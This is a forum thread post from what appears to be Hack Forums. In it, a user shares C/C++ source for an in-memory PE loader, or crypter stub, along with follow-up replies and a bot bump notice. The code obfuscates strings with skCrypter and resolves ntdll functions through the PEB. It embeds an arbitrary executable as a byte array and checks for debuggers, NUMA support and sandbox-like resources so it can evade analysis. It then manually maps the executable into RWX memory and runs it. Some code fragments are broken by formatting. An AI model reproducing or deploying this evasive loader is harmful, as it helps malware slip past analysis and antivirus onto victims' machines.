You bring up some good points - Here is some code I wrote after this PEB thread related to some of what you're saying:

Finding ntdll in current runtime, getting base address, etc:

```
Code #include "MemoryManager.h"
```

```
#include <iostream>
```

```
#include "skCrypter.h"
```

```
typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)(  
    HANDLE ProcessHandle,  
    PROCESSINFOCLASS ProcessInformationClass,  
    PVOID ProcessInformation,  
    ULONG ProcessInformationLength,  
    PULONG ReturnLength);
```

```
extern "C" NTSTATUS NTAPI NtQueryInformationProcess(  
    HANDLE ProcessHandle,  
    PROCESSINFOCLASS ProcessInformationClass,  
    PVOID ProcessInformation,  
    ULONG ProcessInformationLength,  
    PULONG ReturnLength);
```

```
// Function to parse the export table and get function addresses
```

```
void* GetFunctionAddress(PVOID baseAddress, const char* functionName) {  
    auto dosHeader = (PIMAGE_DOS_HEADER)baseAddress;  
    auto ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)baseAddress + dosHeader->e_lfanew);
```

```
    auto exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)baseAddress +  
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress  
s);
```

```
    auto functions = (PDWORD)((PBYTE)baseAddress + exportDirectory->AddressOfFunctions);  
    auto names = (PDWORD)((PBYTE)baseAddress + exportDirectory->AddressOfNames);  
    auto ordinals = (PWORD)((PBYTE)baseAddress + exportDirectory->AddressOfNameOrdinals);
```

```
    for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++) {  
        const char* exportName = (const char*)baseAddress + names[i];  
        if (_stricmp(exportName, functionName) == 0) {  
            DWORD functionRVA = functions[ordinals[i]];   
            return (PBYTE)baseAddress + functionRVA;  
        }  
    }  
}
```

```

    return nullptr;
}

// Helper function to read a UNICODE_STRING from memory
std::wstring ReadUnicodeString(const UNICODE_STRING& unicodeString) {
    return std::wstring(unicodeString.Buffer, unicodeString.Length / sizeof(WCHAR));
}

MemoryManager::MemoryManager() {
    HMODULE ntdll = LoadLibraryW(skCrypt(L"ntdll.dll"));
    if (!ntdll) {
        // std::cerr << "Failed to load ntdll.dll." << std::endl;
        return;
    }

    pNtQueryInformationProcess NtQueryInformationProcess =
    (pNtQueryInformationProcess)GetProcAddress(ntdll, skCrypt("NtQueryInformationProcess"));
    if (!NtQueryInformationProcess) {
        // std::cerr << "Failed to get NtQueryInformationProcess address." << std::endl;
        return;
    }

    HANDLE processHandle = GetCurrentProcess();
    PROCESS_BASIC_INFORMATION pbi;
    ZeroMemory(&pbi, sizeof(pbi));

    NTSTATUS status = NtQueryInformationProcess(processHandle, ProcessBasicInformation,
    &pbi, sizeof(pbi), nullptr);
    if (status != 0) {
        // std::cerr << "Failed to get process information." << std::endl;
        return;
    }

    PEB* peb = pbi.PebBaseAddress;
    PPEB_LDR_DATA ldr = peb->Ldr;
    LIST_ENTRY* moduleList = &ldr->InMemoryOrderModuleList;

    for (LIST_ENTRY* entry = moduleList->Flink; entry != moduleList; entry = entry->Flink) {
        LDR_DATA_TABLE_ENTRY* moduleEntry = CONTAINING_RECORD(entry,
        LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        std::wstring dllName = ReadUnicodeString(moduleEntry->FullDllName);

        if (dllName.find(skCrypt(L"ntdll.dll")) != std::wstring::npos) {
            auto dllBase = moduleEntry->DllBase;
            pNtAllocateVirtualMemory =
            reinterpret_cast<PFN_NtAllocateVirtualMemory>(GetFunctionAddress(dllBase,
            skCrypt("NtAllocateVirtualMemory")));
            pNtFreeVirtualMemory =
            reinterpret_cast<PFN_NtFreeVirtualMemory>(GetFunctionAddress(dllBase,
            skCrypt("NtFreeVirtualMemory")));
            if (!pNtAllocateVirtualMemory || !pNtFreeVirtualMemory) {
                // std::cerr << "Failed to get addresses of Nt functions." << std::endl;
                return;
            }
        }
    }
}

```

```

    }
    break;
}
}
FreeLibrary(ntdll);
}

```

```

void* MemoryManager::AllocateMemory(void* preferredBaseAddress, SIZE_T size, DWORD
initialProtection) {
    if (!pNtAllocateVirtualMemory) {
        // std::cerr << skCrypt("NtAllocateVirtualMemory function not loaded.") << std::endl;
        return nullptr;
    }

    PVOID baseAddress = preferredBaseAddress;
    SIZE_T regionSize = size;
    NTSTATUS status = pNtAllocateVirtualMemory(
        GetCurrentProcess(),
        &baseAddress,
        0,
        &regionSize,
        MEM_COMMIT | MEM_RESERVE,
        initialProtection); // Use the initialProtection parameter

    if (status != STATUS_SUCCESS) {
        // std::cerr << skCrypt("Failed to allocate memory.") << std::endl;
        return nullptr;
    }

    return baseAddress;
}

```

```

void MemoryManager::RevertCodeSectionProtection(void* baseAddress, SIZE_T size, DWORD
initialProtection) {
    DWORD oldProtection;
    if (!VirtualProtect(baseAddress, size, initialProtection, &oldProtection)) {
        // std::cerr << skCrypt("Failed to revert code section protection.") << std::endl;
        // Handle error
    }
}

```

```

bool MemoryManager::FreeMemory(void* address) {
    if (!pNtFreeVirtualMemory) {
        // std::cerr << skCrypt("NtFreeVirtualMemory function not loaded.") << std::endl;
        return false;
    }

    PVOID baseAddress = address;
    SIZE_T regionSize = 0; // Size is ignored with MEM_RELEASE
    NTSTATUS status = pNtFreeVirtualMemory(

```

```

    GetCurrentProcess(),
    &baseAddress,
    &regionSize,
    MEM_RELEASE);

    return status == STATUS_SUCCESS;
}
Some definitions & things from a header file:
Code #pragma once
#include <windows.h>
#include <winternl.h>

#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#endif

typedef NTSTATUS (NTAPI *PFN_NtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect);
typedef NTSTATUS (NTAPI *PFN_NtFreeVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    PSIZE_T RegionSize,
    ULONG FreeType);

/* new */
typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)(
    HANDLE ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength,
    PULONG ReturnLength);

extern "C" NTSTATUS NTAPI NtQueryInformationProcess(
    HANDLE ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength,
    PULONG ReturnLength);

class MemoryManager {
private:
    PFN_NtAllocateVirtualMemory pNtAllocateVirtualMemory;
    PFN_NtFreeVirtualMemory pNtFreeVirtualMemory;

public:
    MemoryManager();
    void* AllocateMemory(SIZE_T size);
    void* AllocateMemory(void* preferredBaseAddress, SIZE_T size, DWORD initialProtection); //

```

New method signature

```
bool FreeMemory(void* address);  
void RevertCodeSectionProtection(void* baseAddress, SIZE_T size, DWORD initialProtection);  
};
```

Process the import table / some helper functions I have in a file:

```
Code #include <windows.h>  
#include "MemoryManager.h"  
#include <stdio.h>
```

```
#include <windows.h>  
#include <stdio.h>
```

```
void ProcessImportTable(PVOID baseAddress) {  
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;  
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)baseAddress +  
dosHeader->e_lfanew);  
    PIMAGE_IMPORT_DESCRIPTOR importDesc =  
(PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)baseAddress +  
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress  
);  
  
    while (importDesc->Name) {  
        LPCSTR dllName = (LPCSTR)((LPBYTE)baseAddress + importDesc->Name);  
        HMODULE hModule = LoadLibraryA(dllName);  
  
        if (!hModule) {  
            // printf("Failed to load %s\n", dllName);  
            importDesc++;  
            continue;  
        }  
  
        PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)((LPBYTE)baseAddress +  
importDesc->FirstThunk);  
        while (thunk->u1.AddressOfData) {  
            FARPROC pFunc = NULL;  
            if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) {  
                pFunc = GetProcAddress(hModule, (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal));  
            } else {  
                PIMAGE_IMPORT_BY_NAME importByName =  
(PIMAGE_IMPORT_BY_NAME)((LPBYTE)baseAddress + thunk->u1.AddressOfData);  
                pFunc = GetProcAddress(hModule, (LPCSTR)&importByName->Name);  
            }  
  
            if (pFunc) {  
                *(FARPROC*)thunk = pFunc;  
            }  
            thunk++;  
        }  
  
        importDesc++;  
    }  
}
```

```

typedef LPVOID (WINAPI * pVirtualAllocExNuma) (
    HANDLE      hProcess,
    LPVOID      lpAddress,
    SIZE_T      dwSize,
    DWORD       flAllocationType,
    DWORD       flProtect,
    DWORD       nndPreferred
);

BOOL checkNUMA() {
    LPVOID mem = NULL;
    pVirtualAllocExNuma myVirtualAllocExNuma =
(pVirtualAllocExNuma)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocExNuma");
    mem = myVirtualAllocExNuma(GetCurrentProcess(), NULL, 1000, MEM_RESERVE |
MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);
    if (mem != NULL) {
        return false;
    } else {
        return true;
    }
}

BOOL checkResources() {
    SYSTEM_INFO s;
    MEMORYSTATUSEX ms;
    DWORD procNum;
    DWORD ram;

    GetSystemInfo(&s);
    procNum = s.dwNumberOfProcessors;
    if (procNum < 2) return false;

    ms.dwLength = sizeof(ms);
    GlobalMemoryStatusEx(&ms);
    ram = ms.ullTotalPhys / 1024 / 1024 / 1024;
    if (ram < 2) return false;

    return true;
}

```

Using this in a program to package up the program into bytes - I chose to use a header file for it:

```
Code #include <windows.h>
```

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```
#include <fstream>
```

```
#define DEREF_32(name) *(DWORD_PTR *)(name)
```

```

void CreateProgramHeader(const PVOID vpointer, const DWORD size, const char*
headerFileName) {
    std::ofstream headerFile(headerFileName, std::ios::out);
    if (!headerFile) {

```

```

    printf("Could not open header file for writing.\n");
    return;
}

headerFile << "#ifndef PROGRAM_H\n#define PROGRAM_H\n\n";
headerFile << "unsigned char programData[] = {";
for (DWORD i = 0; i < size; ++i) {
    if (i > 0) {
        headerFile << ", ";
    }
    if (i % 12 == 0) headerFile << "\n";
    headerFile << "0x" << std::hex << ((unsigned int)((unsigned char*)vpointer)[i]);
}
headerFile << "\n};\nunsigned int programDataSize = " << std::dec << size << ";\n";
headerFile << "#endif // PROGRAM_H\n";

printf("Program data saved to header file.\n");
}

int main() {
    char file[255];
    HANDLE handle;
    PVOID vpointer;
    DWORD size;
    DWORD bytread;

    printf("Enter file name: ");
    scanf("%s", file);

    handle = CreateFile(file, GENERIC_READ, 0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
    if (handle == INVALID_HANDLE_VALUE) {
        printf("Error opening file.\n");
        return 1;
    }

    size = GetFileSize(handle, NULL);
    vpointer = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
    if (!ReadFile(handle, vpointer, size, &bytread, NULL) || bytread != size) {
        printf("Error reading file.\n");
        CloseHandle(handle);
        return 1;
    }
    CloseHandle(handle);

    // Serialize the executable data to the program header file
    CreateProgramHeader(vpointer, size, "Program.h");
    VirtualFree(vpointer, 0, MEM_RELEASE);

    return 0;
}

```

The final stub to use all these functions & push to memory:
Code #include <stdio.h>

```

#include "Lucid/MemoryManager.h"
#include "Lucid/Helpers.cpp"
#include "Program.h"

int main(int argc, char* argv[]) {

    if (IsDebuggerPresent()) {
        // printf("attached debugger detected :(\n");
        return -2;
    }

    if (checkNUMA()) {
        // printf("NUMA memory allocate failed :( \n");
        return -2;
    }

    if (checkResources() == false) {
        // printf("possibly launched in sandbox :(\n");
        return -2;
    }

    char *mem = NULL;
    mem = (char *) malloc(1000000000);
    if (mem != NULL) {
        memset(mem, 00, 1000000000);
        free(mem);
        PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)programData;
        PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(programData +
dosHeader->e_lfanew);
        MemoryManager memMgr;
        PVOID baseAddress =
memMgr.AllocateMemory((void*)ntHeaders->OptionalHeader.ImageBase,
ntHeaders->OptionalHeader.SizeOfImage, PAGE_READWRITE);
        if (!baseAddress) {
            baseAddress = memMgr.AllocateMemory(nullptr,
ntHeaders->OptionalHeader.SizeOfImage, PAGE_READWRITE);
            if (!baseAddress) {
                return 1;
            }
        }
        memcpy(baseAddress, programData, ntHeaders->OptionalHeader.SizeOfHeaders);
        PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
        for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i) {
            PVOID sectionDestination = (PBYTE)baseAddress + sectionHeader[i].VirtualAddress;
            memcpy(sectionDestination, programData + sectionHeader[i].PointerToRawData,
sectionHeader[i].SizeOfRawData);
        }
        if (baseAddress != (PVOID)ntHeaders->OptionalHeader.ImageBase) {
            PIMAGE_BASE_RELOCATION relocation =
(PIMAGE_BASE_RELOCATION)((LPBYTE)baseAddress +
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAd
dress);
            while (relocation->VirtualAddress) {

```

```

        if (relocation->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) {
            int count = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) /
sizeof(WORD);
            WORD* relocItem = (WORD*)((LPBYTE)relocation +
sizeof(IMAGE_BASE_RELOCATION));
            for (int i = 0; i < count; i++) {
                if (relocItem[i] >> 12 == IMAGE_REL_BASED_DIR64) {
                    ULONGLONG* patchAddrHL = (ULONGLONG*)((LPBYTE)baseAddress +
relocation->VirtualAddress + (relocItem[i] & 0xFFF));
                    *patchAddrHL += ((ULONGLONG)baseAddress -
ntHeaders->OptionalHeader.ImageBase);
                }
            }
        }
        relocation = (PIMAGE_BASE_RELOCATION)((LPBYTE)relocation +
relocation->SizeOfBlock);
    }
}
ProcessImportTable(baseAddress);
LPVOID entryPoint = (PBYTE)baseAddress +
ntHeaders->OptionalHeader.AddressOfEntryPoint;
memMgr.RevertCodeSectionProtection(baseAddress,
ntHeaders->OptionalHeader.SizeOfImage, PAGE_EXECUTE_READWRITE);
((void (*)(void))entryPoint)();
memMgr.RevertCodeSectionProtection(baseAddress,
ntHeaders->OptionalHeader.SizeOfImage, PAGE_READWRITE);
}

return 0;
}

```

This is older code now, and a little sloppy because it's basically the result of another codebase of mine being slimmed down and then mixed with another.

Enjoy More Software, Source Code, Tools, and Tutorials

<https://hackforums.net/showthread.php?tid=6265944>

<https://hackforums.net/showthread.php?tid=6266404>

<https://hackforums.net/showthread.php?tid=6265473>

<https://hackforums.net/showthread.php?tid=6265665>

<https://hackforums.net/showthread.php?tid=6266377>

<https://hackforums.net/showthread.php?tid=6264320>

<https://hackforums.net/showthread.php?tid=6263383>

<https://hackforums.net/showthread.php?tid=6264286>

<https://hackforums.net/showthread.php?tid=6266614>

<https://hackforums.net/showthread.php?tid=6264522>

<https://hackforums.net/showthread.php?tid=6266052>

<https://hackforums.net/showthread.php?tid=6265700>

<https://hackforums.net/showthread.php?tid=6266289>

<https://hackforums.net/showthread.php?tid=6265197>

<https://hackforums.net/showthread.php?tid=6265430>

Hackers - *October 28, 2025, 6:38 pm*

There's another method that you can see here too:

<https://hackforums.net/showthread.php?tid=6311851>

Stanley - *March 16, 2026, 8:19 am*

I'm Stanley HF's helper bot. The OP (original poster) of this thread wants everyone to see this page and has elected to bump it to the top of the showthread listing. Since HF doesn't want a ton of LQP (Low Quality Posts) this is the best method of bumping your content. There is a small ?yte fee for each bump. Any OP can bump any of their threads on HF from the linked icon on the top of their first post.

If you haven't already read the first post of this thread we encourage you to do so.

Thanks,
Stanley

Hackers - *April 14, 2026, 8:29 am*

I hope more people enjoy my notes and walkthrough here... very useful to understand how this all works :)